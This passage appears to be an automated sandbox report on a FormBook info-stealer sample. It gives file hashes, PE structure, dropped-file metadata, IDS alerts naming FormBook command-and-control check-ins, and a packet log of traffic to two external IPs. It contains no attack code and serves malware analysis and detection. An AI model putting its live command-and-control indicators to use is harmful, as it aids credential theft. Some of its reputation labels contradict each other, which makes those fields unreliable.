                                                                                          Entropy (8bit):5.34331486778365
                                                                                          Encrypted:false
                                                                                          SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                                                                          MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                                                                          SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                                                                          SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                                                                          SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                                                                          Malicious:true
                                                                                          Reputation:high, very likely benign file
                                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                          C:\Users\user\AppData\Local\Temp\50323G8

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\net.exe
                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                          Category:dropped
                                                                                          Size (bytes):139264
                                                                                          Entropy (8bit):0.951889861146889
                                                                                          Encrypted:false
                                                                                          SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaWtPqfPk:CfJ6a9xpnQLqtzKWJntPqfM
                                                                                          MD5:2791D27717CAB5981A0EA5AD07EE6B64
                                                                                          SHA1:1ACFA3E6B2D3A682CA918D6C1AA4AEBFBA2D9B75
                                                                                          SHA-256:A2D12FE1A445318E2A559FA65998843F50469BEDB41B0F8EBEF008DB6EEE1A7F
                                                                                          SHA-512:74FE33DD01CD441635EA88876E743B755C1092EAE29C8CA71E108995550C7994B1911295FC68F8B6688F0AC1CDB9313FC9A6714FB65BEA3F4956865978006E6F
                                                                                          Malicious:false
                                                                                          Reputation:low
                                                                                          Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                          Static File Info

                                                                                          General

                                                                                          File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                          Entropy (8bit):7.765019957181831
                                                                                          TrID:
                                                                                          • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                                          • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                                          • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                          • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                          • DOS Executable Generic (2002/1) 0.01%
                                                                                          File name:6KzB3ReZ6z.exe
                                                                                          File size:782'848 bytes
                                                                                          MD5:104318787d7dde99ff3a966484410c3b
                                                                                          SHA1:b8be4c9fb1f394fa80df8204ad0c6d25a7d83f9c
                                                                                          SHA256:7360456ec87f544e6a9eb05a88bf81e0ce693fb4b04f6a4f6a71d05ce524abdf
                                                                                          SHA512:6c2d1b528b923cdf67c6e1d4fd0d9baeacc2b5964a563d25b804f0b244b98d336a2cdc377f8c31671882c4e9ac4d5c736d0a09b4a92bbf8bbc6e3580ab58b0d0
                                                                                          SSDEEP:12288:q6IAbZWUBjl2Rro8MgIWsfjbya511VBfobCuJu7BBcQ5wH82Gda+vQU1CtJ:qSbYULMM8DFsbv1PZo/6BBcQGcVzj1
                                                                                          TLSH:61F4E0C43B2AA706DD661A30C935EDB593A81DACB010B9F29FDD3F5BB5AD201590CF42
                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....g.g..............0.............b.... ........@.. .......................@............@................................

                                                                                          File Icon

                                                                                          Icon Hash:bfdbd0a493925a25

                                                                                          Static PE Info

                                                                                          General

                                                                                          Entrypoint:0x4bf262
                                                                                          Entrypoint Section:.text
                                                                                          Digitally signed:false
                                                                                          Imagebase:0x400000
                                                                                          Subsystem:windows gui
                                                                                          Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                          DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                          Time Stamp:0x67A9679A [Mon Feb 10 02:42:34 2025 UTC]
                                                                                          TLS Callbacks:
                                                                                          CLR (.Net) Version:
                                                                                          OS Version Major:4
                                                                                          OS Version Minor:0
                                                                                          File Version Major:4
                                                                                          File Version Minor:0
                                                                                          Subsystem Version Major:4
                                                                                          Subsystem Version Minor:0
                                                                                          Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                          Entrypoint Preview

                                                                                          Instruction
                                                                                          jmp dword ptr [00402000h]
                                                                                          add dword ptr [eax], eax
                                                                                          add byte ptr [eax], al
                                                                                          add al, byte ptr [eax]
                                                                                          add byte ptr [eax], al
                                                                                          add eax, dword ptr [eax]
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al
                                                                                          add byte ptr [eax], al

                                                                                          Data Directories

                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0xbf2100x4f.text
                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0xc00000x1864.rsrc
                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0xc20000xc.reloc
                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                          Sections

                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                          .text0x20000xbd2780xbd4004806331e02debab8836e719142039d59False0.9126937644484808data7.77020549029283IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                          .rsrc0xc00000x18640x1a007114bf6b9bf2e7a00adc68f2da6e0d68False0.8149038461538461data7.2018158318526675IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                          .reloc0xc20000xc0x200dad9f2bf4f5ac69512a52b85c68b5327False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                          Resources

                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                          RT_ICON0xc00c80x1468PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9529096477794793
                                                                                          RT_GROUP_ICON0xc15400x14data1.05
                                                                                          RT_VERSION0xc15640x2fcdata0.4397905759162304

                                                                                          Imports

                                                                                          DLLImport
                                                                                          mscoree.dll_CorExeMain

                                                                                          Version Infos

                                                                                          DescriptionData
                                                                                          Translation0x0000 0x04b0
                                                                                          Comments
                                                                                          CompanyName
                                                                                          FileDescriptionMultipleForms
                                                                                          FileVersion3.0.0.0
                                                                                          InternalNameTivY.exe
                                                                                          LegalCopyright
                                                                                          LegalTrademarks
                                                                                          OriginalFilenameTivY.exe
                                                                                          ProductNameMultipleForms
                                                                                          ProductVersion3.0.0.0
                                                                                          Assembly Version4.0.0.0

                                                                                          Network Behavior

                                                                                          Suricata IDS Alerts

                                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                          2025-03-07T23:21:29.548824+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44971947.83.1.9080TCP
                                                                                          2025-03-07T23:21:32.146989+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44972047.83.1.9080TCP
                                                                                          2025-03-07T23:21:34.693699+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44972147.83.1.9080TCP
                                                                                          2025-03-07T23:21:43.928116+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449723188.114.96.380TCP
                                                                                          2025-03-07T23:21:46.568664+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449724188.114.96.380TCP
                                                                                          2025-03-07T23:21:49.224957+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449725188.114.96.380TCP

                                                                                          Network Port Distribution

                                                                                          TCP Packets

                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                          Mar 7, 2025 23:20:43.377110958 CET4971880192.168.2.4104.21.48.1
                                                                                          Mar 7, 2025 23:20:43.382174969 CET8049718104.21.48.1192.168.2.4
                                                                                          Mar 7, 2025 23:20:43.385109901 CET4971880192.168.2.4104.21.48.1
                                                                                          Mar 7, 2025 23:20:43.393105030 CET4971880192.168.2.4104.21.48.1
                                                                                          Mar 7, 2025 23:20:43.398196936 CET8049718104.21.48.1192.168.2.4
                                                                                          Mar 7, 2025 23:21:23.014905930 CET8049718104.21.48.1192.168.2.4
                                                                                          Mar 7, 2025 23:21:23.015162945 CET8049718104.21.48.1192.168.2.4
                                                                                          Mar 7, 2025 23:21:23.015430927 CET4971880192.168.2.4104.21.48.1
                                                                                          Mar 7, 2025 23:21:23.019186020 CET4971880192.168.2.4104.21.48.1
                                                                                          Mar 7, 2025 23:21:23.024218082 CET8049718104.21.48.1192.168.2.4
                                                                                          Mar 7, 2025 23:21:28.051628113 CET4971980192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:28.056802034 CET804971947.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:28.056922913 CET4971980192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:28.088218927 CET4971980192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:28.093384981 CET804971947.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:29.548626900 CET804971947.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:29.548657894 CET804971947.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:29.548824072 CET4971980192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:29.599977016 CET4971980192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:30.619044065 CET4972080192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:30.624227047 CET804972047.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:30.624393940 CET4972080192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:30.640829086 CET4972080192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:30.645977974 CET804972047.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:32.146989107 CET4972080192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:32.152301073 CET804972047.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:32.152446985 CET4972080192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:33.165971041 CET4972180192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:33.171367884 CET804972147.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:33.171545982 CET4972180192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:33.188005924 CET4972180192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:33.193260908 CET804972147.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:33.193280935 CET804972147.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:33.193295956 CET804972147.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:33.193337917 CET804972147.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:33.193463087 CET804972147.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:33.193475008 CET804972147.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:34.693698883 CET4972180192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:34.699094057 CET804972147.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:34.699162006 CET4972180192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:35.713140965 CET4972280192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:35.718522072 CET804972247.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:35.718645096 CET4972280192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:35.727916002 CET4972280192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:35.732979059 CET804972247.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:37.352077961 CET804972247.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:37.352603912 CET804972247.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:37.352756977 CET4972280192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:37.373110056 CET4972280192.168.2.447.83.1.90
                                                                                          Mar 7, 2025 23:21:37.378185034 CET804972247.83.1.90192.168.2.4
                                                                                          Mar 7, 2025 23:21:42.403796911 CET4972380192.168.2.4188.114.96.3
                                                                                          Mar 7, 2025 23:21:42.408921957 CET8049723188.114.96.3192.168.2.4
                                                                                          Mar 7, 2025 23:21:42.409007072 CET4972380192.168.2.4188.114.96.3
                                                                                          Mar 7, 2025 23:21:42.425803900 CET